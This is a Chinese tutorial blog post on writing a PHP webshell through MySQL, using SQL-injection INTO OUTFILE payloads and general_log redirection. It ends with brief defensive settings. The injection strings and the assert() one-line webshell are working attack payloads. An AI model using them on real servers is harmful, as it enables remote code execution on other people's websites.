MySQL 拿 WebShell
2024-09-01 10:40:48
两种常规方法利用 MySQL getshell 的方法:
select … into outfile
general_log
一、select … into outfile 介绍
利用需要满足以下条件:
对web目录有写权限
GPC关闭(能使用单引号)
有绝对路径(读文件可以不用,写文件必须)
没有配置 –secure-file-priv
姿势:
有 union
id=) union select ,,,,,,,'<?php assert($_POST["cmd"]);?>’ into outfile ‘/home/wwwroot/shadowyspirits/evil.php’%23 无 union
id=) into outfile ‘/home/wwwroot/shadowyspirits/evil.php’ fields terminated by ‘<?php assert($_POST["cmd"]);?>’%
其中 fields terminated by 是用来指定列之间分隔符,如果查询结果为单列则不会插入分隔符,所以必须有多个列才能成功写入一句话
二、general_log 介绍
利用需要满足以下条件:
对web目录有写权限
GPC关闭(能使用单引号)
有绝对路径(读文件可以不用,写文件必须)
需要能执行多行sql语句
姿势:
set global general_log='on';
SET global general_log_file='/home/wwwroot/shadowyspirits/evil.php';
SELECT '<?php assert($_POST["cmd"]);?>';
设置了 general_log 和 general_log_file 之后所有SQL记录都会写入指定的文件,所以会导致 log 文件非常大,推荐只暂时打开
需要注意的是 secure_file_priv 是只读属性,如果试图使用 set global 修改会报如下 Error
Error Code: . Variable 'secure_file_priv' is a read only
三、防御姿势
设置 secure_file_prive = null (不允许导入和导出)
防止暴露网站绝对路径
正确设置 web 目录权限,除 log、upload 等目录外不授予写权限,upload 目录不授予执行权限
最新文章
- 003.安装nginx(lnmp)
- QImage::drawRect 和 fillRect在处理大面积区域时代价高昂
- [LeetCode] Number of Islands II
- python any()和all()用法
- 三、Android NDK编程预备之Java jni入门创建C/C++共享库
- 搭建hbase-0.94.26集群环境
- Oracle EBS-SQL (PO-8):检查有供货比例无采购员.sql
- spring beans源码解读之--总结篇
- CSS3扁平化Loading动画特效
- Ubuntu16.04.1 安装Nginx
- 基于python的Selenium使用小结
- tomcat 与 nginx,apache的区别
- [转]SpringMVC+ Mybatis 配置多数据源 + 手动切换数据源
- Spark 论文篇-论文中英语单词集
- 命令提示符没办法登录MySQL
- npm run build出问题十分通用的解决方法
- Android-Kotlin-具名参数
- clientX, clientY,offsetX, offsetY,screenX, screenY, x, y
- class和struct
- 线上Bug修复流程